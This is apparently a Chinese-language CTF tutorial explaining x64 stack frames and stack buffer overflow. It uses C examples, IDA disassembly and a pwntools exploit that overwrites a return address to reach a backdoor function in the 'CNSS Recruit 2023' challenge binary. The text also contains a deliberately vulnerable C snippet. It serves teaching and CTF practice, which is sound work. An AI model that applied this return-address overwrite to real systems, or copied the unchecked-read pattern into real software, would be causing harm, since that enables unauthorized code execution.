那次栈溢出,毁了我的胖高手梦。

栈溢出原理

函数执行时的栈

函数执行时,会在栈上分配一块内存,用来存放函数的局部变量、函数的参数、返回地址等信息。函数执行结束后,会释放这块内存。

我们设想一个场景

#include <stdio.h>

void callee(int a, int b, int c, int d) {
    int x = a + b;
    int y = c + d;
    int z = x + y;
    printf("%d\n", z);
}

void caller() {
    int callerLocalVar = 114514;
    callee(1, 2, 3, 4);
}

int main() {
    caller();
    return 0;
}

这段程序的汇编:

.text:0000000000001149 ; __int64 __fastcall callee(_QWORD, _QWORD, _QWORD, _QWORD)
.text:0000000000001149                 public callee
.text:0000000000001149 callee          proc near               ; CODE XREF: caller+27↓p
.text:0000000000001149
.text:0000000000001149 var_20          = dword ptr -20h
.text:0000000000001149 var_1C          = dword ptr -1Ch
.text:0000000000001149 var_18          = dword ptr -18h
.text:0000000000001149 var_14          = dword ptr -14h
.text:0000000000001149 var_C           = dword ptr -0Ch
.text:0000000000001149 var_8           = dword ptr -8
.text:0000000000001149 var_4           = dword ptr -4
.text:0000000000001149
.text:0000000000001149 ; __unwind {
.text:0000000000001149                 endbr64
.text:000000000000114D                 push    rbp
.text:000000000000114E                 mov     rbp, rsp
.text:0000000000001151                 sub     rsp, 20h
.text:0000000000001155                 mov     [rbp+var_14], edi
.text:0000000000001158                 mov     [rbp+var_18], esi
.text:000000000000115B                 mov     [rbp+var_1C], edx
.text:000000000000115E                 mov     [rbp+var_20], ecx
.text:0000000000001161                 mov     edx, [rbp+var_14]
.text:0000000000001164                 mov     eax, [rbp+var_18]
.text:0000000000001167                 add     eax, edx
.text:0000000000001169                 mov     [rbp+var_C], eax
.text:000000000000116C                 mov     edx, [rbp+var_1C]
.text:000000000000116F                 mov     eax, [rbp+var_20]
.text:0000000000001172                 add     eax, edx
.text:0000000000001174                 mov     [rbp+var_8], eax
.text:0000000000001177                 mov     edx, [rbp+var_C]
.text:000000000000117A                 mov     eax, [rbp+var_8]
.text:000000000000117D                 add     eax, edx
.text:000000000000117F                 mov     [rbp+var_4], eax
.text:0000000000001182                 mov     eax, [rbp+var_4]
.text:0000000000001185                 mov     esi, eax
.text:0000000000001187                 lea     rax, format     ; "%d\n"
.text:000000000000118E                 mov     rdi, rax        ; format
.text:0000000000001191                 mov     eax, 0
.text:0000000000001196                 call    _printf
.text:000000000000119B                 nop
.text:000000000000119C                 leave
.text:000000000000119D                 retn
.text:000000000000119D ; } // starts at 1149
.text:000000000000119D callee          endp
.text:000000000000119D
.text:000000000000119E
.text:000000000000119E ; =============== S U B R O U T I N E =======================================
.text:000000000000119E
.text:000000000000119E ; Attributes: bp-based frame
.text:000000000000119E
.text:000000000000119E ; __int64 caller()
.text:000000000000119E                 public caller
.text:000000000000119E caller          proc near               ; CODE XREF: main+D↓p
.text:000000000000119E
.text:000000000000119E var_4           = dword ptr -4
.text:000000000000119E
.text:000000000000119E ; __unwind {
.text:000000000000119E                 endbr64
.text:00000000000011A2                 push    rbp
.text:00000000000011A3                 mov     rbp, rsp
.text:00000000000011A6                 sub     rsp, 10h
.text:00000000000011AA                 mov     [rbp+var_4], 1BF52h
.text:00000000000011B1                 mov     ecx, 4
.text:00000000000011B6                 mov     edx, 3
.text:00000000000011BB                 mov     esi, 2
.text:00000000000011C0                 mov     edi, 1
.text:00000000000011C5                 call    callee
.text:00000000000011CA                 nop
.text:00000000000011CB                 leave
.text:00000000000011CC                 retn
.text:00000000000011CC ; } // starts at 119E
.text:00000000000011CC caller          endp

我们假设程序从caller函数开始执行,此时的栈上存放的是caller函数的局部变量、参数、返回地址等信息。

图 1

stack-top (low address)
callerLocalVar
rbp
return address (main+18)

caller函数调用callee函数时,首先将call指令的下一条指令的地址(即caller+44)压入栈中,然后跳转到callee函数的入口地址(即callee函数的第一条指令的地址)开始执行。

图 2

stack-top (low address)
return address (caller+44)
callerLocalVar
rbp
return address (main+18)

callee函数执行时,先将rbp压入栈中,然后将rsp的值赋给rbp,这样就建立了一个新的栈帧,然后在新的栈帧中分配内存,用来存放callee函数的局部变量、参数、返回地址等信息。

也就是这段汇编代码:

push rbp
mov rbp, rsp
sub rsp, 20h

执行完后,栈变成了这样:

图 3

stack-top (low address)
arg4
arg3
arg2
arg1
local variable z
local variable y
local variable x
rbp (存放了上一个栈帧的rbp)
return address (caller+44)
callerLocalVar
caller-rbp
return address (main+18)

callee函数执行完后,会将rbp的值赋给rsp,这样就恢复了上一个栈帧。为什么没有看到这些指令呢?因为这些指令被leave指令代替了。

leave在x64下相当于

mov rsp, rbp
pop rbp

执行完leave指令前后的栈变化如下:

图 5

图 4

stack-top (low address)
return address (caller+44)
callerLocalVar
rbp (就是caller的rbp)
return address (main+18)

最后,ret指令会将栈顶的值赋给rip,这样就跳转到了caller函数的下一条指令开始执行。跳转后,理论上栈和进入callee函数前是一模一样的。

图 6

栈溢出原理

栈溢出的原理就是,当我们向栈中写入数据时,如果写入的数据超过了栈的大小,就会覆盖栈上的其他内容,从而改变程序的执行流程。

我们来看一个例子:

#include <stdio.h>

void callee() {
    char buf[4];
    read(0, buf, 0x100);
}

int main() {
    callee();
    return 0;
}

像刚才分析的那样,callee函数执行时,会在栈上分配一块内存,用来存放函数的局部变量、函数的参数、返回地址等信息。这里的局部变量就是buf,它的大小是4字节。

stack-top (low address)
buf[0]
buf[1]
buf[2]
buf[3]
rbp
return address (main+18)

当我们向buf中写入数据时,如果写入的数据超过了buf的大小,就会覆盖栈上的其他内容,从而改变程序的执行流程。

假设我们输入的数据是0123abcdefghABCDEFGH,栈变成了这样:

stack content
buf[0] 0
buf[1] 1
buf[2] 2
buf[3] 3
rbp abcdefgh
return address ABCDEFGH

此时,返回地址被覆盖成了ABCDEFGH,当callee函数执行完后,会跳转到ABCDEFGH。(当然,这个地址是无效的,程序会崩溃)

栈溢出的利用

最基础的利用和上面举的例子差不多,通过修改return address,来控制执行的函数。

用招新baby题来看看实际题目中是如何利用的:

[CNSS Recruit 2023] StackOverFlow

图 8

图 9

图 10

vuln函数中,我们可以看到,gets可以往v1中写入大量数据,但是v1的大小只有0x10,所以我们可以通过getsv1中写入大量数据,从而覆盖return address为B4ckdo0r的地址,从而getshell。

ida中给我们写出了v1到rbp的偏移量(rbp-10h),我们可以想像一下运行时的栈结构。

相对栈顶位置
v1 0
rbp 0x10
return address 0x18

注意,v1rbp是0x10,但是rbp本身还有8字节,所以v1return address的偏移量是0x18。(如果是32位程序,ebp本身是4字节,只用加4)

所以我们只需要输入0x18个字节的数据,然后再输入B4ckdo0r的地址,就可以getshell了。

exp如下:

#!/usr/bin/env python
from pwn import *
from pwn import p64, u64, p32, u32
import os

fileName = './pwn'
r = process(fileName)
elf = ELF(fileName)

backdoor_addr = 0x401232

payload = cyclic(0x10 + 8) + p64(backdoor_addr)
r.sendlineafter(b'\n', payload)
r.interactive()

溢出后的栈变成了这样:

图 13

stack content
v1 cyclic(0x10)
rbp cyclic(8)
return address 0x401232 (B4ckdo0r+8)

为什么这里用了地址0x401232而不是B4ckdo0r的起始地址0x40122A呢?

图 11

是因为system函数需要栈平衡,所以跳过了前面修改栈的两条指令。